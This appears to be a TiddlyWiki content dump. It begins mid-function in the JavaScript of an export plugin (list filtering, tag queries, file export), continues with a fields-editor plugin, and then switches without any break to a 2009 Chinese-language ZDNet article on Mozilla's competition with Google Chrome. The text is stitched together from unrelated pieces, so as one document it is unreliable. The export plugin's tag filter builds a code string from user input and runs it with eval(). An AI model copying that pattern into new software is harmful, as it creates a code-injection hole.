	show=document.getElementById('exportFilterStart').checked;
	document.getElementById('exportFilterStartBy').style.display=show?"block":"none";
	document.getElementById('exportStartDate').style.display=show?"block":"none";
	var val=document.getElementById('exportFilterStartBy').value;
	document.getElementById('exportStartDate').value
		=getFilterDate(val,'exportStartDate').formatString(config.macros.exportTiddlers.datetimefmt);
	 if (which && (which.id=='exportFilterStartBy') && (val=='other'))
		document.getElementById('exportStartDate').focus();

	show=document.getElementById('exportFilterEnd').checked;
	document.getElementById('exportFilterEndBy').style.display=show?"block":"none";
	document.getElementById('exportEndDate').style.display=show?"block":"none";
	var val=document.getElementById('exportFilterEndBy').value;
	document.getElementById('exportEndDate').value
		=getFilterDate(val,'exportEndDate').formatString(config.macros.exportTiddlers.datetimefmt);
	 if (which && (which.id=='exportFilterEndBy') && (val=='other'))
		document.getElementById('exportEndDate').focus();

	show=document.getElementById('exportFilterTags').checked;
	document.getElementById('exportTags').style.display=show?"block":"none";

	show=document.getElementById('exportFilterText').checked;
	document.getElementById('exportText').style.display=show?"block":"none";
}
//}}}

// // onClickExportButton(which): control interactions
//{{{
function onClickExportButton(which)
{
	// DEBUG alert(which.id);
	var theList=document.getElementById('exportList'); if (!theList) return;
	var count = 0;
	var total = store.getTiddlers('title').length;
	switch (which.id)
		{
		case 'exportFilter':
			count=filterExportList();
			var panel=document.getElementById('exportFilterPanel');
			if (count==-1) { panel.style.display='block'; break; }
			document.getElementById("exportStart").disabled=(count==0);
			document.getElementById("exportDelete").disabled=(count==0);
			clearMessage(); displayMessage("filtered "+formatExportMessage(count,total));
			if (count==0) { alert("No tiddlers were selected"); panel.style.display='block'; }
			break;
		case 'exportStart':
			exportTiddlers();
			break;
		case 'exportDelete':
			exportDeleteTiddlers();
			break;
		case 'exportHideFilter':
		case 'exportToggleFilter':
			var panel=document.getElementById('exportFilterPanel')
			panel.style.display=(panel.style.display=='block')?'none':'block';
			break;
		case 'exportSelectChanges':
			var lastmod=new Date(document.lastModified);
			for (var t = 0; t < theList.options.length; t++) {
				if (theList.options[t].value=="") continue;
				var tiddler=store.getTiddler(theList.options[t].value); if (!tiddler) continue;
				theList.options[t].selected=(tiddler.modified>lastmod);
				count += (tiddler.modified>lastmod)?1:0;
			}
			document.getElementById("exportStart").disabled=(count==0);
			document.getElementById("exportDelete").disabled=(count==0);
			clearMessage(); displayMessage(formatExportMessage(count,total));
			if (count==0) alert("There are no unsaved changes");
			break;
		case 'exportSelectAll':
			for (var t = 0; t < theList.options.length; t++) {
				if (theList.options[t].value=="") continue;
				theList.options[t].selected=true;
				count += 1;
			}
			document.getElementById("exportStart").disabled=(count==0);
			document.getElementById("exportDelete").disabled=(count==0);
			clearMessage(); displayMessage(formatExportMessage(count,count));
			break;
		case 'exportSelectOpened':
			for (var t = 0; t < theList.options.length; t++) theList.options[t].selected=false;
			var tiddlerDisplay = document.getElementById("tiddlerDisplay"); // for TW2.1-
			if (!tiddlerDisplay) tiddlerDisplay = document.getElementById("storyDisplay"); // for TW2.2+
			for (var t=0;t<tiddlerDisplay.childNodes.length;t++) {
				var tiddler=tiddlerDisplay.childNodes[t].id.substr(7);
				for (var i = 0; i < theList.options.length; i++) {
					if (theList.options[i].value!=tiddler) continue;
					theList.options[i].selected=true; count++; break;
				}
			}
			document.getElementById("exportStart").disabled=(count==0);
			document.getElementById("exportDelete").disabled=(count==0);
			clearMessage(); displayMessage(formatExportMessage(count,total));
			if (count==0) alert("There are no tiddlers currently opened");
			break;
		case 'exportSelectRelated':
			// recursively build list of related tiddlers
			function getRelatedTiddlers(tid,tids) {
				var t=store.getTiddler(tid); if (!t || tids.contains(tid)) return tids;
				tids.push(t.title);
				if (!t.linksUpdated) t.changed();
				for (var i=0; i<t.links.length; i++)
					if (t.links[i]!=tid) tids=getRelatedTiddlers(t.links[i],tids);
				return tids;
			}
			// for all currently selected tiddlers, gather up the related tiddlers (including self) and select them as well
			var tids=[];
			for (var i=0; i<theList.options.length; i++)
				if (theList.options[i].selected) tids=getRelatedTiddlers(theList.options[i].value,tids);
			// select related tiddlers (includes original selected tiddlers)
			for (var i=0; i<theList.options.length; i++)
				theList.options[i].selected=tids.contains(theList.options[i].value);
			clearMessage(); displayMessage(formatExportMessage(tids.length,total));
			break;
		case 'exportListSmaller':	// decrease current listbox size
			var min=5;
			theList.size-=(theList.size>min)?1:0;
			break;
		case 'exportListLarger':	// increase current listbox size
			var max=(theList.options.length>25)?theList.options.length:25;
			theList.size+=(theList.size<max)?1:0;
			break;
		case 'exportClose':
			document.getElementById('exportPanel').style.display='none';
			break;
		}
}
//}}}

// // promptForFilename(msg,path,file) uses platform/browser specific functions to get local filespec
//{{{
window.promptForExportFilename=function(here)
{
	var msg=here.title; // use tooltip as dialog box message
	var path=getLocalPath(document.location.href);
	var slashpos=path.lastIndexOf("/"); if (slashpos==-1) slashpos=path.lastIndexOf("\\"); 
	if (slashpos!=-1) path = path.substr(0,slashpos+1); // remove filename from path, leave the trailing slash
	var file=config.macros.exportTiddlers.newdefault;
	var result="";
	if(window.Components) { // moz
		try {
			netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
			var nsIFilePicker = window.Components.interfaces.nsIFilePicker;
			var picker = Components.classes['@mozilla.org/filepicker;1'].createInstance(nsIFilePicker);
			picker.init(window, msg, nsIFilePicker.modeSave);
			var thispath = Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
			thispath.initWithPath(path);
			picker.displayDirectory=thispath;
			picker.defaultExtension='html';
			picker.defaultString=file;
			picker.appendFilters(nsIFilePicker.filterAll|nsIFilePicker.filterText|nsIFilePicker.filterHTML);
			if (picker.show()!=nsIFilePicker.returnCancel) var result=picker.file.persistentDescriptor;
		}
		catch(e) { alert('error during local file access: '+e.toString()) }
	}
	else { // IE
		try { // XPSP2 IE only
			var s = new ActiveXObject('UserAccounts.CommonDialog');
			s.Filter='All files|*.*|Text files|*.txt|HTML files|*.htm;*.html|';
			s.FilterIndex=3; // default to HTML files;
			s.InitialDir=path;
			s.FileName=file;
			if (s.showOpen()) var result=s.FileName;
		}
		catch(e) {  // fallback
			var result=prompt(msg,path+file);
		}
	}
	return result;
}
//}}}

// // list display
//{{{
function formatExportMessage(count,total)
{
	var txt=total+' tiddler'+((total!=1)?'s':'')+" - ";
	txt += (count==0)?"none":(count==total)?"all":count;
	txt += " selected for export";
	return txt;
}

function refreshExportList(selectedIndex)
{
	var theList  = document.getElementById("exportList");
	var sort;
	if (!theList) return;
	// get the sort order
	if (!selectedIndex)   selectedIndex=0;
	if (selectedIndex==0) sort='modified';
	if (selectedIndex==1) sort='title';
	if (selectedIndex==2) sort='modified';
	if (selectedIndex==3) sort='modifier';
	if (selectedIndex==4) sort='tags';

	// unselect headings and count number of tiddlers actually selected
	var count=0;
	for (var t=5; t < theList.options.length; t++) {
		if (!theList.options[t].selected) continue;
		if (theList.options[t].value!="")
			count++;
		else { // if heading is selected, deselect it, and then select and count all in section
			theList.options[t].selected=false;
			for ( t++; t<theList.options.length && theList.options[t].value!=""; t++) {
				theList.options[t].selected=true;
				count++;
			}
		}
	}

	// disable "export" and "delete" buttons if no tiddlers selected
	document.getElementById("exportStart").disabled=(count==0);
	document.getElementById("exportDelete").disabled=(count==0);
	// show selection count
	var tiddlers = store.getTiddlers('title');
	if (theList.options.length) { clearMessage(); displayMessage(formatExportMessage(count,tiddlers.length)); }

	// if a [command] item, reload list... otherwise, no further refresh needed
	if (selectedIndex>4)  return;

	// clear current list contents
	while (theList.length > 0) { theList.options[0] = null; }
	// add heading and control items to list
	var i=0;
	var indent=String.fromCharCode(160)+String.fromCharCode(160);
	theList.options[i++]=
		new Option(tiddlers.length+" tiddlers in document", "",false,false);
	theList.options[i++]=
		new Option(((sort=="title"        )?">":indent)+' [by title]', "",false,false);
	theList.options[i++]=
		new Option(((sort=="modified")?">":indent)+' [by date]', "",false,false);
	theList.options[i++]=
		new Option(((sort=="modifier")?">":indent)+' [by author]', "",false,false);
	theList.options[i++]=
		new Option(((sort=="tags"	)?">":indent)+' [by tags]', "",false,false);
	// output the tiddler list
	switch(sort)
		{
		case "title":
			for(var t = 0; t < tiddlers.length; t++)
				theList.options[i++] = new Option(tiddlers[t].title,tiddlers[t].title,false,false);
			break;
		case "modifier":
		case "modified":
			var tiddlers = store.getTiddlers(sort);
			// sort descending for newest date first
			tiddlers.sort(function (a,b) {if(a[sort] == b[sort]) return(0); else return (a[sort] > b[sort]) ? -1 : +1; });
			var lastSection = "";
			for(var t = 0; t < tiddlers.length; t++)
				{
				var tiddler = tiddlers[t];
				var theSection = "";
				if (sort=="modified") theSection=tiddler.modified.toLocaleDateString();
				if (sort=="modifier") theSection=tiddler.modifier;
				if (theSection != lastSection)
					{
					theList.options[i++] = new Option(theSection,"",false,false);
					lastSection = theSection;
					}
				theList.options[i++] = new Option(indent+indent+tiddler.title,tiddler.title,false,false);
				}
			 break;
		case "tags":
			var theTitles = {}; // all tiddler titles, hash indexed by tag value
			var theTags = new Array();
			for(var t=0; t<tiddlers.length; t++) {
				var title=tiddlers[t].title;
				var tags=tiddlers[t].tags;
				if (!tags || !tags.length) {
					if (theTitles["untagged"]==undefined) { theTags.push("untagged"); theTitles["untagged"]=new Array(); }
					theTitles["untagged"].push(title);
				}
				else for(var s=0; s<tags.length; s++) {
					if (theTitles[tags[s]]==undefined) { theTags.push(tags[s]); theTitles[tags[s]]=new Array(); }
					theTitles[tags[s]].push(title);
				}
			}
			theTags.sort();
			for(var tagindex=0; tagindex<theTags.length; tagindex++) {
				var theTag=theTags[tagindex];
				theList.options[i++]=new Option(theTag,"",false,false);
				for(var t=0; t<theTitles[theTag].length; t++)
					theList.options[i++]=new Option(indent+indent+theTitles[theTag][t],theTitles[theTag][t],false,false);
			}
			break;
		}
	theList.selectedIndex=selectedIndex;		  // select current control item
	document.getElementById("exportStart").disabled=true;
	document.getElementById("exportDelete").disabled=true;
	clearMessage(); displayMessage(formatExportMessage(0,tiddlers.length));
}
//}}}

// // list filtering
//{{{
function getFilterDate(val,id)
{
	var result=0;
	switch (val) {
		case 'site':
			var timestamp=store.getTiddlerText("SiteDate");
			if (!timestamp) timestamp=document.lastModified;
			result=new Date(timestamp);
			break;
		case 'file':
			result=new Date(document.lastModified);
			break;
		case 'other':
			result=new Date(document.getElementById(id).value);
			break;
		default: // today=0, yesterday=1, one week=7, two weeks=14, a month=31
			var now=new Date(); var tz=now.getTimezoneOffset()*60000; now-=tz;
			var oneday=86400000;
			if (id=='exportStartDate')
				result=new Date((Math.floor(now/oneday)-val)*oneday+tz);
			else
				result=new Date((Math.floor(now/oneday)-val+1)*oneday+tz-1);
			break;
	}
	// DEBUG alert('getFilterDate('+val+','+id+')=='+result+"\nnow="+now);
	return result;
}

function filterExportList()
{
	var theList  = document.getElementById("exportList"); if (!theList) return -1;

	var filterStart=document.getElementById("exportFilterStart").checked;
	var val=document.getElementById("exportFilterStartBy").value;
	var startDate=getFilterDate(val,'exportStartDate');

	var filterEnd=document.getElementById("exportFilterEnd").checked;
	var val=document.getElementById("exportFilterEndBy").value;
	var endDate=getFilterDate(val,'exportEndDate');

	var filterTags=document.getElementById("exportFilterTags").checked;
	var tags=document.getElementById("exportTags").value;

	var filterText=document.getElementById("exportFilterText").checked;
	var text=document.getElementById("exportText").value;

	if (!(filterStart||filterEnd||filterTags||filterText)) {
		alert("Please set the selection filter");
		document.getElementById('exportFilterPanel').style.display="block";
		return -1;
	}
	if (filterStart&&filterEnd&&(startDate>endDate)) {
		var msg="starting date/time:\n"
		msg+=startDate.toLocaleString()+"\n";
		msg+="is later than ending date/time:\n"
		msg+=endDate.toLocaleString()
		alert(msg);
		return -1;
	}

	// if filter by tags, set up conditional expression
	if (filterTags) {
		var all = store.getTags(); // get list of all tags
		for (var i=0; i<all.length; i++) all[i]=all[i][0]; // remove tag counts
		// convert "tag1 AND ( tag2 OR NOT tag3 )"
		// into javascript expression containing regexp tests:
		// "/\~tag1\~/.test(...) && ( /\~tag2\~/.test(...) || ! /\~tag2\~/.test(...) )"
		var c=tags;
		c = c.replace(/[\[\]]/g,""); // remove [[...]] quoting around tagvalues
		// change AND/OR/NOT/parens to javascript operators and delimit terms with "~"
		c = c.replace(/\sand\s/ig,"~&&~");
		c = c.replace(/\sor\s/ig,"~||~");
		c = c.replace(/(\s)?not([\s\(])/ig,"~!~$2");
		c = c.replace(/([\(\)])/ig,"~$1~");
		// change existing tags to regexp tests and non-existing tags to "false"
		var terms=c.split("~");
		for (var i=0; i<terms.length; i++) { var t=terms[i];
			if (/(&&)|(\|\|)|[!\(\)]/.test(t) || t=="") continue; // skip operators/parens/spaces
			terms[i]=!all.contains(t)?"false":("/\\~"+t+"\\~/.test(tiddlertags)");
		}
		c=terms.join(" ");
	}
	function matchTags(t,c) {
		if (!c||!c.trim().length) return false;
		// assemble tags from tiddler into string "~tag1~tag2~tag3~"
		var tiddlertags = "~"+t.tags.join("~")+"~";
		// eval string against boolean test expression
		try { if(eval(c)) return true; }
		catch(e) { displayMessage(e.toString()); }
		return false;
	}
	
	// scan list and select tiddlers that match all applicable criteria
	var total=0;
	var count=0;
	for (var i=0; i<theList.options.length; i++) {
		// get item, skip non-tiddler list items (section headings)
		var opt=theList.options[i]; if (opt.value=="") continue;
		// get tiddler, skip missing tiddlers (this should NOT happen)
		var tiddler=store.getTiddler(opt.value); if (!tiddler) continue; 
		var sel=true;
		if ( (filterStart && tiddler.modified<startDate)
		|| (filterEnd && tiddler.modified>endDate)
		|| (filterTags && !matchTags(tiddler,c))
		|| (filterText && (tiddler.text.indexOf(text)==-1) && (tiddler.title.indexOf(text)==-1)))
			sel=false;
		opt.selected=sel;
		count+=sel?1:0;
		total++;
	}
	return count;
}
//}}}

// // OUTPUT FORMATTING AND FILE I/O
//{{{
function exportTWHeader()
{
	// get the TiddlyWiki core code source
	var sourcefile=getLocalPath(document.location.href);
	var source=loadFile(sourcefile);
	if(source==null) { alert(config.messages.cantSaveError); return null; }
	// reset existing HTML source markup
	source=updateMarkupBlock(source,"PRE-HEAD");
	source=updateMarkupBlock(source,"POST-HEAD");
	source=updateMarkupBlock(source,"PRE-BODY");
	source=updateMarkupBlock(source,"POST-BODY");
	// find store area
	var posOpeningDiv=source.indexOf(startSaveArea);
	var posClosingDiv=source.lastIndexOf(endSaveArea);
	if((posOpeningDiv==-1)||(posClosingDiv==-1))
		{ alert(config.messages.invalidFileError.format([sourcefile])); return; }
	// return everything up to store area
	return source.substr(0,posOpeningDiv+startSaveArea.length);
}

function exportTWFooter()
{
	// get the TiddlyWiki core code source
	var sourcefile=getLocalPath(document.location.href);
	var source=loadFile(sourcefile);
	if(source==null) { alert(config.messages.cantSaveError); return null; }
	// reset existing HTML source markup
	source=updateMarkupBlock(source,"PRE-HEAD");
	source=updateMarkupBlock(source,"POST-HEAD");
	source=updateMarkupBlock(source,"PRE-BODY");
	source=updateMarkupBlock(source,"POST-BODY");
	// find store area
	var posOpeningDiv=source.indexOf(startSaveArea);
	var posClosingDiv=source.lastIndexOf(endSaveArea);
	if((posOpeningDiv==-1)||(posClosingDiv==-1))
		{ alert(config.messages.invalidFileError.format([sourcefile])); return; }
	// return everything after store area
	return source.substr(posClosingDiv);
}

function exportDIVHeader()
{
	var out=[];
	var now = new Date();
	var title = convertUnicodeToUTF8(wikifyPlain("SiteTitle").htmlEncode());
	var subtitle = convertUnicodeToUTF8(wikifyPlain("SiteSubtitle").htmlEncode());
	var user = convertUnicodeToUTF8(config.options.txtUserName.htmlEncode());
	var twver = version.major+"."+version.minor+"."+version.revision;
	var pver = version.extensions.exportTiddlers.major+"."
		+version.extensions.exportTiddlers.minor+"."+version.extensions.exportTiddlers.revision;
	out.push("<html><body>");
	out.push("<style type=\"text/css\">");
	out.push("#storeArea {display:block;margin:1em;}");
	out.push("#storeArea div");
	out.push("{padding:0.5em;margin:1em;border:2px solid black;height:10em;overflow:auto;}");
	out.push("#javascriptWarning");
	out.push("{width:100%;text-align:left;background-color:#eeeeee;padding:1em;}");
	out.push("</style>");
	out.push("<div id=\"javascriptWarning\">");
	out.push("TiddlyWiki export file<br>");
	out.push("Source"+": <b>"+convertUnicodeToUTF8(document.location.href)+"</b><br>");
	out.push("Title: <b>"+title+"</b><br>");
	out.push("Subtitle: <b>"+subtitle+"</b><br>");
	out.push("Created: <b>"+now.toLocaleString()+"</b> by <b>"+user+"</b><br>");
	out.push("TiddlyWiki "+twver+" / "+"ExportTiddlersPlugin "+pver+"<br>");
	out.push("Notes:<hr><pre>"+document.getElementById("exportNotes").value.replace(/\n/g,"<br>")+"</pre>");
	out.push("</div>");
	out.push("<div id=\"storeArea\">");
	return out;
}

function exportDIVFooter()
{
	return ["</div><!--POST-BODY-START-->\n<!--POST-BODY-END--></body></html>"];
}

function exportXMLHeader()
{
	var out=[];
	var now = new Date();
	var u = store.getTiddlerText("SiteUrl",null);
	var title = convertUnicodeToUTF8(wikifyPlain("SiteTitle").htmlEncode());
	var subtitle = convertUnicodeToUTF8(wikifyPlain("SiteSubtitle").htmlEncode());
	var user = convertUnicodeToUTF8(config.options.txtUserName.htmlEncode());
	var twver = version.major+"."+version.minor+"."+version.revision;
	var pver = version.extensions.exportTiddlers.major+"."
		+version.extensions.exportTiddlers.minor+"."+version.extensions.exportTiddlers.revision;
	out.push("<" + "?xml version=\"1.0\"?" + ">");
	out.push("<rss version=\"2.0\">");
	out.push("<channel>");
	out.push("<title>" + title + "</title>");
	if(u) out.push("<link>" + convertUnicodeToUTF8(u.htmlEncode()) + "</link>");
	out.push("<description>" + subtitle + "</description>");
	out.push("<language>en-us</language>");
	out.push("<copyright>Copyright " + now.getFullYear() + " " + user + "</copyright>");
	out.push("<pubDate>" + now.toGMTString() + "</pubDate>");
	out.push("<lastBuildDate>" + now.toGMTString() + "</lastBuildDate>");
	out.push("<docs>http://blogs.law.harvard.edu/tech/rss</docs>");
	out.push("<generator>TiddlyWiki "+twver+" plus ExportTiddlersPlugin "+pver+"</generator>");
	return out;
}

function exportXMLFooter()
{
	return ["</channel></rss>"];
}

function exportData(target,list,fmt)
{
	function getData(s,f,t) { var r="";
		switch (f) {
			case "TW": r=s.getSaver().externalizeTiddler(s,t); break;
			case "DIV": r=t.title+"\n"+s.getSaver().externalizeTiddler(s,t); break;
			case "XML": r=t.saveToRss(store.getTiddlerText("SiteUrl","")); break;
		}
		return convertUnicodeToUTF8(r);
	}

	var out=[]; var tids=[];
	// get selected tiddlers
	for (var i=0; i<list.options.length; i++) {
		var opt=list.options[i]; if (!opt.selected||!opt.value.length) continue;
		var tid=store.getTiddler(opt.value); if (!tid) continue;
		tids.push(tid.title);
		out.push(getData(store,fmt,tid));
	}
	var count=out.length;
	// merge with existing tiddlers
	var text=loadFile(target);
	if (text && text.length) {
		var msg=target+"\nalready contains tiddler definitions.\n";
		msg+="\nPress OK to add new/revised tiddlers to current file contents.";
		msg+="\nPress Cancel to completely replace file contents";
		var remoteStore=new TiddlyWiki();
		if (remoteStore.importTiddlyWiki(text) && confirm(msg)) {
			var existing=remoteStore.getTiddlers("title");
			for (var i=0; i<existing.length; i++)
				if (!tids.contains(existing[i].title))
					out.push(getData(remoteStore,fmt,existing[i]));
			var msg="Merged %0 new/revised tiddlers and %1 existing tiddlers";
			displayMessage(msg.format([count,out.length-count]));
		}
	}
	return out;
}
//}}}

// // exportTiddlers(): output selected data to local file
//{{{
function exportTiddlers()
{
	clearMessage();
	var list  = document.getElementById("exportList"); if (!list) return;
	var fmt = document.getElementById("exportFormat").value;
	var target = document.getElementById("exportFilename").value.trim();
	if (!target.length) {
		displayMessage("A local target path/filename is required",target);
		return;
	}
	switch (fmt) {
		case "TW":	var head=exportTWHeader(); break;
		case "DIV":	var head=exportDIVHeader(); break;
		case "XML":	var head=exportXMLHeader(); break;
	}
	var theData=exportData(target,list,fmt);
	var c=theData.length;
	switch (fmt) {
		case "TW":	var foot=exportTWFooter(); break;
		case "DIV":	var foot=exportDIVFooter(); break;
		case "XML":	var foot=exportXMLFooter(); break;
	}
	var out=[]; var txt=out.concat(head,theData,foot).join("\n");
	var msg="An error occurred while saving to "+target;
	if (saveFile(target,txt)) msg=c+" tiddler"+((c!=1)?"s":"")+" written to "+target;
	displayMessage(msg,"file:///"+target);
}
//}}}

// // exportDeleteTiddlers(): delete selected tiddlers from file
//{{{
function exportDeleteTiddlers()
{
	var list=document.getElementById("exportList"); if (!list) return;
	var tids=[];
	for (i=0;i<list.length;i++)
		if (list.options[i].selected && list.options[i].value.length)
			tids.push(list.options[i].value);
	if (!confirm("Are you sure you want to delete these tiddlers:\n\n"+tids.join(', '))) return;
	store.suspendNotifications();
	for (t=0;t<tids.length;t++) {
		var tid=store.getTiddler(tids[t]); if (!tid) continue;
		if (tid.tags.contains("systemConfig"))
			if (!confirm("'"+tid.title+"' is tagged with 'systemConfig'.\n\nRemoving this tiddler may cause unexpected results.  Are you sure?"))
				continue;
		store.removeTiddler(tid.title);
		story.closeTiddler(tid.title);
	}
	store.resumeNotifications();
	alert(tids.length+" tiddlers deleted");
	refreshExportList(0); // reload listbox
	store.notifyAll(); // update page display
}
//}}}
/***
|''Name:''|FieldsEditorPlugin|
|''Description:''|//create//, //edit//, //view// and //delete// commands in toolbar <<toolbar fields>>.|
|''Version:''|1.0.2|
|''Date:''|Dec 21,2007|
|''Source:''|http://visualtw.ouvaton.org/VisualTW.html|
|''Author:''|Pascal Collin|
|''License:''|[[BSD open source license|License]]|
|''~CoreVersion:''|2.2.0|
|''Browser:''|Firefox 2.0; InternetExplorer 6.0, others|
!Demo:
On [[homepage|http://visualtw.ouvaton.org/VisualTW.html]], see [[FieldEditor example]]
!Installation:
*import this tiddler from [[homepage|http://visualtw.ouvaton.org/VisualTW.html]] (tagged as systemConfig)
*save and reload
*optionnaly : add the following css text in your StyleSheet : {{{#popup tr.fieldTableRow td {padding:1px 3px 1px 3px;}}}}
!Code
***/

//{{{

config.commands.fields.handlePopup = function(popup,title) {
	var tiddler = store.fetchTiddler(title);
	if(!tiddler)
		return;
	var fields = {};
	store.forEachField(tiddler,function(tiddler,fieldName,value) {fields[fieldName] = value;},true);
	var items = [];
	for(var t in fields) {
		var editCommand = "<<untiddledCall editFieldDialog "+escape(title)+" "+escape(t)+">>";
		var deleteCommand = "<<untiddledCall deleteField "+escape(title)+" "+escape(t)+">>";
		var renameCommand = "<<untiddledCall renameField "+escape(title)+" "+escape(t)+">>";
		items.push({field: t,value: fields[t], actions: editCommand+renameCommand+deleteCommand});
	}
	items.sort(function(a,b) {return a.field < b.field ? -1 : (a.field == b.field ? 0 : +1);});
	var createNewCommand = "<<untiddledCall createField "+escape(title)+">>";
	items.push({field : "", value : "", actions:createNewCommand });
	if(items.length > 0)
		ListView.create(popup,items,this.listViewTemplate);
	else
		createTiddlyElement(popup,"div",null,null,this.emptyText);
}

config.commands.fields.listViewTemplate = {
	columns: [
		{name: 'Field', field: 'field', title: "Field", type: 'String'},
		{name: 'Actions', field: 'actions', title: "Actions", type: 'WikiText'},
		{name: 'Value', field: 'value', title: "Value", type: 'WikiText'}
	],
	rowClasses: [
			{className: 'fieldTableRow', field: 'actions'}
	],
	buttons: [	//can't use button for selected then delete, because click on checkbox will hide the popup
	]
}

config.macros.untiddledCall = {  // when called from listview, tiddler is unset, so we need to pass tiddler as parameter
	handler : function(place,macroName,params,wikifier,paramString) {
		var macroName = params.shift();
		if (macroName) var macro = config.macros[macroName];
		var title = params.shift();
		if (title) var tiddler = store.getTiddler(unescape(title));
		if (macro) macro.handler(place,macroName,params,wikifier,paramString,tiddler);		
	}
}

config.macros.deleteField = {
	handler : function(place,macroName,params,wikifier,paramString,tiddler) {
		if(!readOnly && params[0]) {
			fieldName = unescape(params[0]);
			var btn = createTiddlyButton(place,"delete", "delete "+fieldName,this.onClickDeleteField);
			btn.setAttribute("title",tiddler.title);
			btn.setAttribute("fieldName", fieldName);
		}
	},
	onClickDeleteField : function() {
		var title=this.getAttribute("title");
		var fieldName=this.getAttribute("fieldName");
		var tiddler = store.getTiddler(title);
		if (tiddler && fieldName && confirm("delete field " + fieldName+" from " + title +" tiddler ?")) {
			delete tiddler.fields[fieldName];
			store.saveTiddler(tiddler.title,tiddler.title,tiddler.text,tiddler.modifier,tiddler.modified,tiddler.tags,tiddler.fields);
			story.refreshTiddler(title,"ViewTemplate",true);
		}
		return false;
	}
}

config.macros.createField = {
	handler : function(place,macroName,params,wikifier,paramString,tiddler) {
		if(!readOnly) {
			var btn = createTiddlyButton(place,"create new", "create a new field",this.onClickCreateField);
			btn.setAttribute("title",tiddler.title);
		}
	},
	onClickCreateField : function() {
		var title=this.getAttribute("title");
		var tiddler = store.getTiddler(title);
		if (tiddler) {
			var fieldName = prompt("Field name","");
			if (store.getValue(tiddler,fieldName)) {
				window.alert("This field already exists.");
			}
			else if (fieldName) {
				var v = prompt("Field value","");
				tiddler.fields[fieldName]=v;
				store.saveTiddler(tiddler.title,tiddler.title,tiddler.text,tiddler.modifier,tiddler.modified,tiddler.tags,tiddler.fields);
				story.refreshTiddler(title,"ViewTemplate",true);
			}
		}
		return false;
	}
}

config.macros.editFieldDialog = {
	handler : function(place,macroName,params,wikifier,paramString,tiddler) {
		if(!readOnly && params[0]) {
			fieldName = unescape(params[0]);
			var btn = createTiddlyButton(place,"edit", "edit this field",this.onClickEditFieldDialog);
			btn.setAttribute("title",tiddler.title);
			btn.setAttribute("fieldName", fieldName);
		}
	},
	onClickEditFieldDialog : function() {
		var title=this.getAttribute("title");
		var tiddler = store.getTiddler(title);
		var fieldName=this.getAttribute("fieldName");
		if (tiddler && fieldName) {
			var value = tiddler.fields[fieldName];
			value = value ? value : "";
			var lines = value.match(/\n/mg);
			lines = lines ? true : false;
			if (!lines || confirm("This field contains more than one line. Only the first line will be kept if you edit it here. Proceed ?")) {
				var v = prompt("Field value",value);
				tiddler.fields[fieldName]=v;
				store.saveTiddler(tiddler.title,tiddler.title,tiddler.text,tiddler.modifier,tiddler.modified,tiddler.tags,tiddler.fields);
				story.refreshTiddler(title,"ViewTemplate",true);
			}
		}
		return false;
	}
}

config.macros.renameField = {
	handler : function(place,macroName,params,wikifier,paramString,tiddler) {
		if(!readOnly && params[0]) {
			fieldName = unescape(params[0]);
			var btn = createTiddlyButton(place,"rename", "rename "+fieldName,this.onClickRenameField);
			btn.setAttribute("title",tiddler.title);
			btn.setAttribute("fieldName", fieldName);
		}
	},
	onClickRenameField : function() {
		var title=this.getAttribute("title");
		var fieldName=this.getAttribute("fieldName");
		var tiddler = store.getTiddler(title);
		if (tiddler && fieldName) {
			var newName = prompt("Rename " + fieldName + " as ?", fieldName);
			if (newName) {
				tiddler.fields[newName]=tiddler.fields[fieldName];
				delete tiddler.fields[fieldName];
				store.saveTiddler(tiddler.title,tiddler.title,tiddler.text,tiddler.modifier,tiddler.modified,tiddler.tags,tiddler.fields);
				story.refreshTiddler(title,"ViewTemplate",true);
			}
		}
		return false;
	}
}

config.shadowTiddlers.StyleSheetFieldsEditor = "/*{{{*/\n";
config.shadowTiddlers.StyleSheetFieldsEditor += ".fieldTableRow td {padding : 1px 3px}\n";
config.shadowTiddlers.StyleSheetFieldsEditor += ".fieldTableRow .button {border:0; padding : 0 0.2em}\n";
config.shadowTiddlers.StyleSheetFieldsEditor +="/*}}}*/";
store.addNotification("StyleSheetFieldsEditor", refreshStyles);

//}}}
本文網址 : http://www.zdnet.com.tw/news/web/0,2000085679,20142233-1,00.htm

ZDNet 新聞專區:Stephen Shankland  2009/10/22 13:47:02

Mozilla已把火狐(Firefox)打造成火紅的瀏覽器,網路上幾乎每四名使用者就有一人用Firefox。但下一階段的挑戰大不相同。

首先是追求新的成長。Mozilla必須讓這款開放原始碼瀏覽器能贏得更多主流消費者的青睞,而這群使用者注重的是線上工作與娛樂,而不是反抗微軟霸權或宣揚某種理念。其次,Mozilla必須維繫早期採用者與網路開發者的忠誠度,以免這些支持者轉向Google的Chrome瀏覽器。

Mozilla執行長John Lilly接受訪問時表示:「這兩件事我們都得做。對目前用IE的一般網路使用者而言,我們必須是更好的瀏覽器,但我認為我們得加倍努力,才能成為網路開發者心目中的優良瀏覽器。」

Lilly說,去年Google Chrome加入瀏覽器戰局,有如一記當頭棒喝,「讓我們更清楚自己的優先順序」,包括快捷的效能。

如今Mozilla的Firefox規劃包括執行下列任務時明顯的效能改善:啟動時間、開啟新分頁(tab)的時間、與使用者介面互動時的反應。

迎戰「網路原生的」Google

Mozilla以前最大的敵手是微軟的IE和蘋果的Safari,這兩家公司都出身自桌上型PC與作業系統時代。Google則不同,不但擁有Google Docs、Gmail這些純粹架構在網路上的應用程式,還醞釀推出一款以瀏覽器為基礎的作業系統,稱為Chrome OS。

Lilly說:「競爭很辛苦,但某種程度上顯得很單純。Google的網路原生性(Web-native)更高。 」

Google在與Mozilla競逐使用者的同時,雙方在「開放的網路標準」方面,仍是緊密的盟友。而且,Google幾乎獨力資助Mozilla,把透過Firefox搜尋而產生的一部分搜尋廣告營收回饋給Firefox。

根據Mozilla最後一次發布的數據,2007年Mozilla的營收達7,500萬美元,其中Google就貢獻了89%。

Mozilla- Google的營收共享協議將在2011年到期,但雙方的合作關係可望持續,畢竟Firefox為Google帶來大量的網路流量,而且Google的首要瀏覽器對手是微軟的IE。若是Google有意搞挎Mozilla,早在去年搜尋廣告協議期滿時就可這麼做了,但當時Google選擇續約。

新標準

Mozilla要持續與時漸進,一大關鍵是支援新的網路標準(Web standards)。

Mozilla支持更新超文字標示語言(HTML),把它改造成更豐富的程式設計與展示平台。而Firefox可觀的市占率,讓Mozilla成為協助開放網路技術開花結果的一股勢力。

